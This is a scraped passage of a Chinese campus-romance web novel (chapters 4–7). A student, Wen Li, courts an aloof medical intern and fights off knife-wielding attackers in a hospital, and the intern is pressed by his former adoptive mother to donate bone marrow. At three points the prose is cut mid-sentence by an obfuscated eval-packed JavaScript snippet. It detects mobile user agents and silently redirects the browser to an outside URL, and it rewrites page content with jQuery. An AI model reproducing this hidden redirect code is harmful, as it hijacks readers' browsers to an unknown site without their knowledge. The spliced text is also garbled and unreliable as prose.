当初付琴听说她中学是在体校练举重差点惊掉下巴,开学好一阵儿都不敢主动去跟她搭话,一直到军训破冰。她才发现这姑娘性格极好,跟谁都能聊两句,一点没架子。 姜早跟着凑过来,温梨被她忽然凑近的脸吓了一跳,浓密卷曲的睫毛轻颤:“干什么?” 她摸着下巴说:“光看脸你确实还挺乖巧的,实在不行你装一把?” “怎么装?” “首先声音要细,这样,你先夹一下我听听。” 温梨也不忸怩,捏着嗓子喊了句:“哥哥。” “不行不行,”姜早立马摆手:“你夹起来有种鲁智深葬花的诡异感。” “哈哈哈哈。”付琴拍着大腿都笑出眼泪了。 温梨:“……” “算了,不跟你们说了。”温梨气鼓鼓的说,“等我结婚,不让你俩上桌。” 付琴笑说:“你要能跟肖靳予结婚,我俩去跟狗坐一块也行。” 温梨心情烦躁的紧,趴在枕头上沉思半天。 她觉得她们说的不对,肖靳予这种高冷大帅比肯定不缺文静的暗恋者,她都这么主动了他都记不住她,她要暗恋到猴年马月去! 她摸出手机给季丞发消息:【dd,在吗?】 季丞也没睡,秒回:【?】 大梨士:【发我肖靳予微信】 季丞:【??你干嘛?】 大梨士:【我上次不是误会他把你打住院了,我去找他算账来着,然后他给我转了一百块钱,我不想欠他,想还给他】 理由充分,季丞也没怀疑什么,随即推了个名片过来,温梨没有丝毫的犹豫,立马点进去。 【对方已设置隐私,无法通过名片添加至通讯录】 还挺注重隐私,肯定是加他的人太多了,他不堪其扰才关掉了名片添加方式。 真是个洁身自好的好男人,值得夸奖。 她重新戳回季丞的群天框。 大梨士:【名片加不上,还是手机号吧】 手机号发过来,温梨兴致勃勃地复制粘贴到搜索框,点击添加。 【对方已设置隐私,无法通过手机号添加至通讯录】 温梨:“???” 怎么手机号也不能加? 温梨又换成微信名,还是搜不到,她不信邪的捧着手机,来回粘贴了好几次,终于—— 她信邪了。 他这是把所有添加微信的途径都关了?世界上怎么会有这么难搞的男人,断情绝爱这四个字简直是为他量身定做的。 温梨有点抓狂的再度滚进季丞的聊天框。 大梨士:【或许你知道他家住址……】 季丞:【我直接把他八字发你算了/微笑】 大梨士:【可以吗?】 季丞:【/刀/刀/刀】 好吧,看来是不可以。 没关系,诡计多端的的梨还有后招。 大梨士:【开玩笑的啦哈哈哈,把你值班表发我,为了表示感谢,明天中午去给你送我亲手做的饭】 季丞:【你还会做饭?】 大梨士:【我亲手……点的外卖】 季丞:【外卖为什么不直接送,还要你送?】 大梨士:【你哪有那么多问题,有的吃还挑,快把值班表发我!】 季丞:【/抠鼻屎】 大梨士:【四十米大刀.jpg】 季丞:【行了,一会儿发你】 收到值班表,温梨迅速从头到尾扫一遍,看到明天有肖靳予的名字,她才锁上手机,安心入睡。 第二天早起,她去袁记云饺打包了一份早餐,装进保温盒,开开心心地提着去了海大附院。 到骨科时却发现办公室空无一人,没有坐诊的医生,也没有值班护士,肖靳予也不在。 医院的人呢?她正纳闷,把饭盒放在值班桌上,还贴心地写了张便签贴上名字,然后去大厅等了会儿。 走廊里忽然传来急促的脚步声。 她赶紧站起来,看到两个彪形大汉冲进办公室,二话不说就开始砸东西,桌椅和电脑仪器全被砸了,纸屑飞了满地。 温梨刚走到门口,一个金属盒子伴随着“操你妈”从她耳边飞过,她满脑子都是“他妈的,我的爱心早餐!!!” “你们干什么的!”她一声喝斥。 男人转过头,手里一把水果刀银光闪闪,寸头,面相凶狠:“别多管闲事!” 有刀子!温梨本能地做出防御姿态。 就在此刻,身后有一只手握住了她的肩膀,力道不重,却不容抗拒地把她拽了出去。 一瞬间,她闻到了熟悉的气息。 是肖靳予。 他把她挡在了身后。 外面动静不小,大厅浩浩荡荡围满了人,但没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496925|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人敢靠近。只有两个保安举着防爆叉,战战兢兢地喊话:“你们有什么要求可以提,都冷静点……” 领头的男人说:“宋岩!十八岁的小姑娘,上个月在你们医院做骨折手术,结果被截肢了!我们是她亲戚,今天来讨个说法!” “要……什么说法?”保安问。 “二百万,一份不能少。” 此言一出,全场哗然,明摆着是来要钱的。 温梨也跟着紧张起来。 这是医闹? “宋岩是吧,”肖靳予站了出来,“左腿胫骨平台骨折,肢体缺血超过六小时,肌肉坏死率百分之百,你们送来的时间太晚,足够截两回肢了。” 男人:“放屁,明明是你们的手术事故!” “手术记录、病程记录、术前谈话签字,每一样都有。”肖靳予打断他,“截肢方案是家属签字同意的,你们要真是她亲戚,这事应该比我还清楚。” 领头男人嘴唇哆嗦了两下,没接上话。 “还想要二百万?建议先去楼上神经科挂个号,查查脑子。” 这话说出来,人群中有人笑了声。男人脸色青一阵白一阵,恼羞成怒:“你算老几,让你们领导出来!” 男人拿着刀朝他比划,肖靳予快速侧身躲过,顺势抓住他持刀的右手手腕往后一拧。 “啪嗒”一声,银光乍闪,水果刀落在了地上。 男人痛的面目扭曲,转头就骂:“草你麻痹的,老子第一个先捅了你。” 肖靳予没什么耐心,抬脚往他膝盖踹了一脚,男人被踢中的左腿惯性下跪,嘴里还骂骂咧咧地问候他全家。 身后的小护士急匆匆地喊:“肖医生,已经报警了,警察很快过来,先不要动手啊。” 医院有规定,遇到医闹不得起冲突,除必要的自保外,尽量避免肢体接触,动手更是明令禁止。正因如此,许多闹事者才敢肆无忌惮,他们料准了医院会为了声誉而息事宁人。 但肖靳予不在乎,他只是来实习的大学生,没编制也没拿医院的工资,这些规定还约束不到他。 肖靳予拧着他的胳膊又是往后用力一拽。 身后,那个被撞倒的男人同伴从地上爬了起来。 他双眼猩红,整个人像疯了一样,抓起掉落在旁边的水果刀,朝着肖靳予的后背狠狠刺过去。 “啊,小心!”小护士吓得捂住嘴。 混蛋,不许碰我男神! 温梨一把夺过保安手里的防爆叉,双手握紧,对着男人的腰用力怼了上去,男人被这股突如其来的力道一下子怼得站不稳,连退好几步。 温梨握紧防爆叉往里面走,男人想反抗却压根动不了,硬生生被她给逼到了墙边。 肖靳予回头,看到身宽体胖的男人像只壁虎一样被叉到了墙上,两条腿离地,胡乱瞪着。 肖靳予:“……” 几分钟后警察终于来了,两位闹事者均被逮捕。 温梨总算松了口气,惊魂未定中已被团团围住。 “妹妹你好厉害!”一个小护士拉着她的胳膊,满眼都是崇拜:“看你长得柔柔弱弱,没想到一叉子就把那个二百斤的胖子叉墙上了!你是哪个科室的,医生还是护士呀?” “啊,都不是,我就是路过。” “你是不是练过,学过散打还是武术,太飒了,能不能教教我。” “都没有啦。”温梨摸着脖子,被夸得有点不好意思,脸颊慢慢染上一层红晕。 肖靳予一直沉默着,目光凝在她的腿骨,见她还没事人一样跟人说说笑笑,不自觉皱眉:“疼不疼?” “啊?”温梨神游的魂魄终于被他这句话唤了回来。 这才发现她的膝盖不知何时被刀子划伤了,白皙的皮肤上有很长的一道口子,这会儿正出着血。 她小时候调皮惯了,这点小伤家常便饭,她都习惯了,伸手就去包里翻纸巾:“还好,不怎么疼。” 下一秒,她的手腕被握住:“跟我过来。” 5. 第 5 章 温梨半边身子靠在肖靳予身上,一瘸一拐地跟他往清创室走,他身上有很淡的消毒水味,混着洗衣液的清香,意外好闻。 其实她的腿没那么疼,但有人扶,不靠白不靠。 清创室在隔壁,很小的一间,安静整洁,他扶着她坐到床边,转身去洗手。 温梨看着他洗手的动作,心想这手真好看,手指细长,骨节突出,手背上清晰地凸着淡淡的青筋脉络。 果然天生适合当医生的。 洗完手,他端着换药盘过来,在她面前蹲下:“忍一下。” 温梨点点头。 她膝盖上的伤口不算深,他拿棉签蘸了碘伏,轻轻点上去。 她的腿上还有别的疤,小腿外侧一道,脚踝上面还有一块淤青,全是之前没好透的。 她皮肤白,疤痕格外明显。 他眉头皱了皱。 季丞平日到底是怎么对她的? 温梨看着他专注的侧脸,忽然有点舍不得这么快结束。于是,在棉签再次碰到伤口的时候:“嘶……” 她倒吸一口冷气,眉头皱成一团。 肖靳予的手顿了一下,抬头去看她。 “疼。”她声音弱弱的,自己都觉得心虚。 肖靳予虽没说什么,但动作明显放轻不少,几乎是用棉签的边缘在伤口轻点,耐心处理十分钟,才把伤口包扎好。 “这两天别碰水,明天记得换一次药。”他收拾好托盘,准备离开。 “哎,等等。”温梨从床边站起来,动作太急又忘了腿伤,一个踉跄差点摔了,肖靳予眼疾手快地扶了她一把。 待温梨稳住身形,他才松开手。 温梨重新坐回去,搓了搓自己缠着整齐纱布的膝盖,可怜巴巴地说:“还是很疼。” 肖靳予检查了一遍她的膝盖,又抬头看她:“忍一下。” “忍不了。”温梨撇着嘴维持一种“我很疼”的表情,像是下一秒就要哭出来:“真的特别疼,疼得走不动路了,怎么办呀。” 肖靳予不会安慰人,稍作沉默后问她:“给你开止疼药?” “那倒也不至于。”这人真是不解风情,温梨说,“我去你办公室休息一下就好了。” 肖靳予:“……” “可以吗?”她眨巴两下眼,撒娇般扯扯他的袖口。 小姑娘一双杏眼黝黑明亮,这样看着人会让人无端生出一种倘若拒绝,害她伤了心,就是犯了弥天大错的感觉。 “过来吧。” 温梨眼睛一亮,立刻站起来,走了两步想起来自己腿还“疼”着,赶紧放慢脚步,一瘸一拐地跟上。 办公室的门半开着,里面被砸得乱七八糟,椅子东倒西歪,文件也散落一地。 温梨感慨:“真是遭殃了。” 肖靳予没说话,进去挑了把看起来还算完好的椅子给她,温梨坐下,托腮看他忙碌。 他似乎做什么都很认真,文件要边角对其码成一摞,桌面也要用湿巾把每个角落擦一遍,阳光从窗户照进来,落在他侧脸上,睫毛在眼睑下投下一小片阴影。 这人真好看,就是话少了点,但她不介意,她话多就行了,她一人顶十个。 “你们医院经常有医闹吗?”她主动搭话 “没。” “哦,所以今天这个是特殊情况,那个人为什么来闹?” “不知道。” “遇到这种情况是挺麻烦的。”她继续说,“我上次听说一个大哥做完手术觉得自己腿短一截,非说医生给他锯短了,后来一量,两边一样长,大哥又说那肯定是医生给他两边都锯了。” “……” “不过你们骨科还好,至少不会有人来闹说骨头少一块,毕竟骨头这东西,少没少,拍个片子一目了然,像心梗、脑出血这种内科急诊最容易出事了,你看不见摸不着,人家说你没治好你都没法证明。” “……” 她自顾自地嘚啵了半小时,肖靳予的表情终于有了一丝变化,瞥她一眼:“不渴吗?” 温梨还真以为她在关心自己:“不渴啊。” 肖靳予:“……” “而且你们骨科还有个优势。”温梨越说越起劲,“我听人说你们骨科医生都特别有力气,一般的人都打不过你们,还可以徒手正骨什么的,你会吗?” 肖靳予没回话,放下手里的活去饮水机给她倒了杯水:“喝点水吧。” 温梨看着这杯水,终于后知后觉地意识到——他这是嫌她话多。 她撇撇嘴,有点委屈地把水杯推远了一些:“就只有水啊?” 肖靳予:“还要什么?” 温梨脱口:“你的微信。” 接下来又是一阵沉默。 “或许你不知道,其实有很多人想要加我的微信的,但我都没给,拥有我的微信是一件很光荣的事情,我跟你要微信,你不会觉得很高兴吗?” 他还是没说话。 温梨对上他的眼睛,心跳忽然快了起来。 其实这也不是她第一次跟男生要微信。 高中时她看上隔壁班的学习委员,男生长得白白净净,斯文俊秀,她一见钟情,带着向葵和朱之毅把人堵在巷子口要微信。她自以为摆出了最和善的笑容,结果对方以为她要校园霸凌他,吓得第二天转学了。 她情窦初开的初恋就这么死在了摇篮里。 但现在的情况好像跟以前不太一样,她现在可比那会儿可紧张多了,主要是眼前这人的表情太淡,淡得她根本看不出来他在想什么。 估计是不想给吧,算了。温梨已经开始在心里盘算一会儿被拒绝该怎么找台阶下了。 “手机。” 温梨一愣:“啊?” “手机给我。” 她像只木偶一样呆滞地从口袋里掏出手机,解锁递过去,他接过来,手指在屏幕上点了几下,然后还给她。 温梨低头一看—— 【你已添加XJY,现在可以开始聊天了。】 温梨捧着手机,努力克制着咧到耳根的嘴角,师兄正好推门进来,一眼看见她膝盖上贴着的纱布:“呦,膝盖受伤了?” “没事,肖……医生已经帮我处理过了。”温梨把手机扣过来,语气尽量自然。 “别的地方没伤着吧?” “没有没有。” “我给季丞打个电话,让他过来送你回去。” “别。”温梨跳下椅子,拉住他的胳膊,“你别跟他说我来过,他知道又要骂我,我马上就走了。” 师兄看着她乖巧的脸,满眼心疼:“你自己没事吧?” “没事的,师兄你忙。” “慢点啊。” “嗯嗯。” 师兄目送她离开,转身收拾自己被砸得东倒西歪的工位,地上还有个被踩扁的保温盒,饭盒盖凹进去一块,里面的饭早就不成样子了。 他拿在手里端详了两秒,忽然明白:“原来妹妹是过来给季丞送爱心午餐的。” 肖靳予整理桌上散落的文件,手指顿了下,没抬头。 师兄把饭盒往桌上一搁,语气里满是打抱不平的愤慨:“真造孽,人姑娘跑来给他送饭,他居然还骂人,季丞他还是个人吗?” 肖靳予把一沓病历码齐,摞在桌角。 师兄不依不饶地凑过来:“你说……他平时经常骂她吗?” 肖靳予终于抬起眼,面无表情:“我怎么会知道?” 师兄自顾自地叹气:“也是,你跟季丞不对付,他的事你肯定不关心,我这不是觉得人家姑娘跟他在一块有点受委屈。” 肖靳予攥着那沓病例,眸色暗沉。 _ 回宿舍路上,温梨每一脚都像踩在棉花上,还有种不真实感。 她加到肖靳予的微信了。 加到微信的第一件事是修改备注“小金鱼”,后面附赠一颗粉色的爱心,第二件事是去群里炫耀。 大梨士:【姐妹们,我恋爱了】 Moring:【梦里啥都有/抠鼻屎】 Daddy:【夜里风大,多盖两床被子别被吹醒】 宿舍几人都习惯她的一惊一乍了,自然不会把她的话放心上。 大梨士:【[图片]】 大梨士:【你们怎么知道我加到了男神微信】 Moring:【?】 Daddy:【不是姐妹,你来真的?】 温梨的心情很好,正打算跟她们再嘚瑟几句,手机震了,屏幕上跳着“季丞”两字。 她接通,那头劈头盖脸就是一句:“你在哪?” “回宿舍路上。” 那头似是松了一口气,说道:“回来听说我们科室有医闹的,桌椅电脑全砸了。结果警察来之前,那俩人被一个姑娘给制了,直接叉墙上扣都扣不下来。我还以为是你呢,不是你就好。” 温梨:“……” 很不巧,就是她。 她张了张嘴,想说点什么,又给咽了回去。 那头沉默两秒,语气突然警惕起来:“不会真是你吧?” 温梨笑笑:“我这不见义勇为。” “见什么义勇什么为!你是警察啊管那么宽,伤都没好利索,瞎出什么头?咱妈跟你说多少遍了,老实点老实点……” 就知道要挨骂。温梨故意把手机拿远,等那头的音量稍微降下来一点,才拿回来:“哎呀,我这里信号不太好……我一会儿给你打回去……” 温梨加重音量“喂”了两声,果断挂断。 世界清净了。 她揣起手机往宿舍走,楼下正巧碰到程希灵。她旁边站着一个高瘦的男生,手里拎着袋苹果,另一只手牵着她。 程希灵有情况! 人类的本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496926|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质是吃瓜。 温梨放慢脚步,假装玩手机,余光锁定目标。 走近才注意到,那男生说话不太利索,只会蹦出几个词“给你的”、“苹果”之类,再长的句子只能用手比划了,一边比划一边往女生怀里塞那兜苹果。 程希灵微微皱着眉,语气里透着温梨从没听过的烦躁:“我不吃。” 男生不依不饶,把苹果往她怀里怼:“好吃。” 程希灵烦了,勉为其难地接下,头也不回地进了宿舍。男生站在原地看她走远,这才往回走。 温梨吃瓜吃得入迷,一个没留神,直接跟人撞了个肩。 男生不好意思地冲她笑笑,迅速跑开。 温梨揉着肩膀,看着他的背影消失在拐角。 瞧着面生,不像她们学校的。 温梨兴冲冲地想追上程希灵问一嘴,却见程希灵没往楼上走,拐进了一楼水房。 跟过去,就看到她把那袋苹果扔进了垃圾桶。 翠绿的苹果在污垢里滚了两下,扎眼地躺在纸盒上。 程希灵转身,回头与她视线相撞。 两个人同时愣住。 “你怎么在这儿?”程希灵问。 温梨一时不知说什么,干巴巴地指了指外面:“我、我刚从外面回来……” 程希灵眼神有点闪躲地“哦”了声。 温梨憋不住地问了句:“你干嘛扔了呀?不是你男朋友送的吗?” “他不是我男朋友。”程希灵扭头上了楼。 温梨没遇到过这种情况,一时语塞。 这瓜,还有点难啃。 但这毕竟是别人私事,温梨也不好插手,回到宿舍,付琴跟姜早立刻跟两只闻到肉味的小狗一样凑过来。 “你真加上肖靳予微信了?” 温梨大方地把手机贡献出来:“自己看。” 两个立刻对着屏幕研究起来。 “是本人吗?”姜早表示怀疑。 “不知道啊,咱也没见过。”付琴托着下巴。 “让他先爆个照?” “不好吧。” 三人正讨论着,宿舍门开了,程希灵端着水盆走进来,头发湿漉漉的,应该是刚洗完脸。 姜早激动地要跟她分享:“灵灵,你知道不,咱们梨梨出息了,都加上肖靳予微信了。” 程希灵没什么表情地“嗯”了声,径直走到自己床位前,放下水盆,爬上了床,床帘严严实实挡住了三人视线。 姜早僵硬地扭过脖子,用口型问:“什么情况?” 温梨摇摇头,做了个“不知道”的口型。 “算了,先别管她。”姜早摆摆手,又把注意力拽回手机屏幕,“你跟肖靳予加上微信后聊了没?” “还没,”温梨,“刚加上。” “快聊啊。” “我不知道说什么。” “先随便说点看看他反应,比如问他在做什么、学习忙不忙之类?” 温梨点点头,刚要发消息被付琴制止住。 “太老土了,”她说,“上个年代的人才这么撩汉。” 姜早:“那阁下有何高见?” 付琴说:“要我说,直接发一组性感泳装照,然后问他,帅哥你睡了吗?” 温梨:“?” 才不要,她怕被当成变态抓起来。 温梨瘫在椅子上扒拉肖靳予的朋友圈,想找点共同话题。他没设置三天可见,但朋友圈大多是专业内容,没半点私人信息。 有一条是学术会议的公众号,英文标题长得一眼望不到头。她硬着头皮点开,用翻译软件才勉强看懂“骨肉瘤”、“保肢治疗”、“生物力学重建”。 公众号下面有人问:肖神,这方向你也研究? 他回:嗯。 那人又回:牛,听说吴院长团队在这个领域是国内顶尖。 温梨盯着那个“嗯”字看了半天,好像也没那么高冷,至少还愿意回一个字。 温梨灵机一动,翻进那个公众号,扒拉了半天,挑了篇英文单词尤其长的文章转发过去。 大梨士:【你好啊,我对这篇文章很感兴趣,肖医生可以帮我解读一下吗?/可爱】 对方下午才回:【你确定?】 回消息时温梨刚好下课,看到他的微信框激动地差点跳起来,她按耐住激动,赶紧回。 大梨士:【嗯嗯,我很感兴趣,想深入了解】 对面过了一会儿,发过来一篇中文版。 小金鱼:【阴/.茎海绵体药物注射治疗勃./起功能障碍的长期疗效】 温梨:“……” 啊啊啊啊卧槽这是什么!! 小金鱼:【这篇论文作者是泌尿科孙主任,需要的话帮你联系】 帮她联系干嘛!她又没有那东西! 温梨颤颤巍巍地回:【不用了,谢谢】 6. 第 6 章 办公室的空调嗡嗡地响,窗外蝉鸣不绝。 辅导员把一份红头文件推过来,欣慰道:“肖靳予,这次见义勇为的事迹院里很重视,决定给你一个表彰,还有一万块奖金。” “不是我的功劳,是……”肖靳予顿了顿,脑海里闪过那个女生抄起防爆叉把人怼上墙的利落身影。 说起来她还救了他一命。 “是那位女生。” 辅导员笑了:“你说温梨是吧?放心,我联系她学院了,她那边也有一份表彰,奖金一样的。” “把我的这份也给她。” “啊?”辅导员下意识地推了推眼镜,“可我觉得你也很需要这份奖金啊,这是你应得的,不用不好意思。” “给她吧。”肖靳予语气笃定。 “好吧,既然是你的决定,我就不多说了。” 肖靳予微微点了下头,转身走了。 辅导员低头,翻开桌上那份档案,肖靳予的家庭联系人一栏,写着,无。 她一直知道他成绩优异,能力突出,但是学费全是助学贷款,生活费也依赖奖学金和兼职,心里便猜测他家庭条件不太好,好不容易有个机会,她还挺替他高兴的。 结果,他就这么让给了别人。 _ 温梨这次见义勇为,直接给自己干上了学院头条。 学院特意给她送了面锦旗,感谢她的仗义相助,骨科更夸张,直接在医院拉了个横幅。 【骨科全体工作人员感谢温梨同学仗义相助】 红底金字,挂在门诊楼正门口,迎风招展,十里之外都能看见。 温梨:“……” 好尴尬。 一次见义勇为,换来终身内向。 说来也奇怪,那天明明不止她一个人动手,肖靳予也帮忙了,怎么没人给他拉横幅? 要不,去问一问他? 温梨想起上次的尴尬对话,又放弃了。 付琴从她后面经过:“干嘛呢,魂不守舍的?” “有点尴尬,不知道怎么跟男神聊天。” “正常,这种高冷逼能回你就不错了。” 温梨一头栽在桌子上:“要不我还是放弃吧,世上无难事只要肯放弃。” “别呀,你都加上微信了,已经比很多人领先了。” “有什么用。” “女追男没那么难,对付这种傲娇冰山就得死缠烂打,你脸皮厚一点。”付琴拍着她的肩,“你就不想等他泡到手之后,让他跪你面前唱征服?”” 温梨想象了一下画面,狠狠点头:“想。” “这就对了,支棱起来。” 温梨重新打起精神,打开浏览器搜索攻略:【跟男神聊天的开场白】 她顺着往下看,点赞量最高的一条是:【首先给他来一个详细的自我介绍,着重突出自己的优点,一定要诚恳、诚恳、诚恳,重要的事说三遍】 有道理,一定要诚恳。 昨天那条太不诚恳了,她重新编辑了一条。 大梨士:【肖同学你好,我叫温梨,身高161,体重55公斤,年龄19,本地人,长得也还算漂亮(别人说的),诚实友善,乐观开朗,善于助人,身体健康无不良嗜好,家庭和睦,希望可以和你交个朋友】 最后配上了一个握手的emoji。 发送。 扭头,正好撞上付琴那张一言难尽的脸:“这就是你思考了半小时的开场白?” 温梨:“不好吗?” 付琴拍着她的肩,意味深长地说:“梨啊,马尔克斯说过,当一个女人想和一个男人睡觉时,就没有她跃不过去的围墙,你得主动点。” “我还不够主动吗?” “你这叫什么主动?”付琴拖了把椅子坐过来,点开自己微信准备言传身教,“看着点,好好学。” 温梨认真点头。 付琴打开了备注“体育系天菜”的对话框,这是她在体育选修课上认识的男生,阳光帅气,八块腹肌,她觊觎已久,今天正好拿来练手。 她轻点屏幕编辑:【帅哥,约吗?】 看着付琴自信的笑容,温梨表示怀疑:“你这也太直接了,万一对方拒绝怎么办?” “不可能,没有男人会拒绝投怀送抱的女人,就算是他不喜欢的。” 话音刚落,对话框的上方居然真的出现了“对方正在输入……” 体育系天菜:【约】 温梨震惊,还真行啊? “看吧,我说什么来着。”付琴得意道,“男人都是单细胞生物,你不能把他们想得太复杂,你那老套的相亲式自我介绍早过时了,现在就得这样,打直球,速战速决。” 温梨不明觉厉,原来男生真吃这套。 她想了一会儿,拿出手机有模学样地给肖靳予发了条消息,正要讨教下一招,余光瞥见付琴手机屏幕亮了。 体育系天菜:【我约你奶奶】 付琴:“?” 付琴:【你怎么还骂人?】 发完这句,“体育系天菜”的对话框里,冒出一行冷冰冰的系统提示。 【对方开启了好友验证,您还不是他好友,请先发送好友验证请求。】 付琴:“……” 温梨:“!??” 不是,你怎么回事啊军师!不是说没有男人会拒绝投怀送抱的女人吗? _ 肖靳予的手机响了。 他看了眼备注,滑到了挂断键。没多久,微信又弹出了消息提醒,是备注“妈妈”的人发来的消息,说是妈妈也不对,准确一点是他曾经的妈妈。 他点进去。 妈妈:【阿予,周末可以见一面吗?】 妈妈:【我最近在人民医院,你弟弟病得很重,你要不要来看看他】 妈妈:【阿予,妈妈求你了】 他也不知道自己犯了什么病,那天竟然通过了她的好友申请,事后他想删掉,指尖在删除键上犹豫很久,最终也没有按下。 他点开她的头像,刷了一遍她的朋友圈。 几乎全是母慈子孝的温馨日常,最新一条是医院病房,一行很短的字,配了张她跟齐思远的合照。 【儿子,这次一定会挺过来的,妈妈爱你。】 【阿远生日快乐,十七岁了,是大伙子了】 【是阿远送我的康乃馨,幸福】 肖靳予沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496927|202560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默着看完她的朋友圈,没有回复,重新把她的备注改成了本名靳茉。 做完这件事回到列表,微信又冒出小红点,是一只兔子朱迪的头像给他发的消息。 大梨士:【肖同学你好,我叫温梨,身高161,体重55公斤,年龄19,本地人,长得也还算漂亮(别人说的),诚实友善,乐观开朗,善于助人,身体健康无不良嗜好,家庭和睦,希望可以和你交个朋友】 肖靳予盯着这行字回想了一下,脑海中最先浮现的是一双清透圆润的眼,确实和头像那只穿警服的小兔子有几分相像。 他在输入框中打字:【有事吗?】 刚要回复,手机银行收到一条转账信息,是靳茉给他转了十万块钱,紧接着铃声跟着响起。 若平日他是不会接的,但当下他看着这十万块钱有点恼火,什么都没想的按了接通键。 电话一接通,还没等他开口,那头倒是先发制人了:“终于肯接我电话了,想跟你说句话还真难。” “你到底想做什么?” 对面似是叹了口气:“妈妈只是想见你一面,不可以吗?” 肖靳予冷声:“你确定想见的人是我?” “当然,”她听上去很急,“就算没有这次的骨髓配型,我也一直想见你,之前给你打过很多电话,只是你一次都没有接过,阿予,你是还在怨我吗?” 肖靳予没说话,或者他不知道该说什么。 “阿予?”良久,那头的声音越来越小,特别委屈,隐隐带了哭腔,“你真的不想我吗?我们已经多少年没见面了。” “你不用跟我演戏,我们也不需要见面。”他的声音冷静到极致,“骨髓移植实施双盲原则。” 对方不高兴了:“胡说,双盲说的是骨髓库里的陌生人,我们难道也是陌生人吗?” 肖靳予很想反驳,他们难道不是吗? 靳茉恳求道:“就一次,让我看看你,就这一次,以后我不会再找你了,好吗?” 沉默了很久,他没说一句话,按了挂断。 挂断电话后,他的情绪变得很差,心口堵着,像是压着一块石头,烦闷,压抑,又喘不上气来。 到底是想来看他,还是来看供体是否健康呢。 他很清楚她的心思,也没有任何期待,只是为什么还是觉得心里堵。 他烦闷地回到微信,他微信加的人很少,给他发消息的更不多,然而这么一会儿靳茉的聊天框已经被压下去了,顶到最上面的是只兔子头像。 大梨士:【帅哥,约吗?】 肖靳予看着这条消息皱了下眉。 他能想象出她发这几句话的神情,一定是眼睛亮晶晶的,装着得意和不管不顾的莽撞。他不擅长应付这样的人,她的侵略感太强了,几乎快要冲破他划定的界限。他不喜欢这种感觉,好像有什么东西正在逃离他的控制。 何况她不是有男朋友吗?为什么要给他发这种暧昧的消息? 就在他犹豫的时候,对面的消息又蹦过来了。 大梨士:【大梨士撤回一条消息】 大梨士:【发错了!!dbq,求你不要删我QAQ】 肖靳予:“……” 7. 第 7 章 他还是去见了靳茉。 最后一次。 他在心里反复强调。 他只是不想再被她骚扰,仅此而已,绝对没有期待什么。 中餐厅上了菜。 曾经的母子变得陌生,女人拘谨地坐在对面:“你外公那套房子,手续什么的都办好了,都归你。” “……” 女人看得出很紧张,手都有点不知往何处放,却还强颜欢笑给他夹菜:“阿予真是长大了,快尝一下,这家的鱼挺好吃的,你不是最喜欢吃鱼了?” “我不喜欢吃鱼。”他说。 他讨厌麻烦又浪费时间的食物。 “不喜欢?”靳茉有点奇怪,“可我记得你小时候总缠着我说要吃鱼,我不给你做你还哭啼啼的。” “那是齐思远。” 他也从来不会在她面前哭。 只有被爱的小孩才有哭的权利。 “……”靳茉愣住片刻,尴尬地放下了手里的筷子,“对不起啊,是妈妈年纪大了,记性也下降了。” “有什么事您直说吧。” 靳茉抿唇,有些难为情地说:“阿远的情况不太好。” 肖靳予隔着桌子望向她,眼神嘲弄:“所以呢,跟我有什么关系?” 靳茉诧异地看他:“你怎么能这么说,就算你不认我这个妈妈,我们在亲缘关系上也是亲人,阿远是你的表弟啊。” 肖靳予已经不想再跟她绕弯子了,更不想在她面前扮演兄友弟恭:“我已经答应你去做配型,也答应捐赠,你没有必要再来刻意讨好我,如果你怕我中途会悔捐,可以等其他人。” 他知道靳茉不信任他,怕他因为以前的事记恨她们,怕他在齐思远清髓后悔捐,害死她的儿子。 但另一边,她又舍不得他身上与齐思远10/10全相合的血,毕竟无血缘关系的人全相合匹配概率太低了,约莫百万分之一,如果不用他的,齐思远能不能等到下一个捐赠者都是未知数。 “你不会的。”靳茉赶紧解释,“你是妈妈养大的,妈妈是信得过你的人品,何况你还是医学生,有文化有教养,知道这事一点都不可怕,就是捐点血,才不会跟外面那些无知的人一样。” 肖靳予没说话,看着她的目光逐渐冷漠。 靳茉也心虚了起来:“阿予啊,妈妈这次是真的……” “靳女士,请不要再这样自称,从你把我送回福利院的那一刻,我们的收养关系已经结束了。” 靳茉哽了下,后面的话说不出来了,这件事就像是一根刺横在二人中间,时刻提醒着她现在的要求是多么的过分。 可是她顾不了那么多了,她的孩子躺在医院里,如果不尽快手术会有生命危险。 她垂下脸:“对不起,都是我的错,是我小心眼,忌惮你,怕你以后会跟阿远争,才把你送走的,你怪我是应该的,但是阿远他是无辜的,他从小就喜欢跟着你,追着你喊哥哥,我希望你们两个还能……” 肖靳予打断她:“我不关心他的事。” 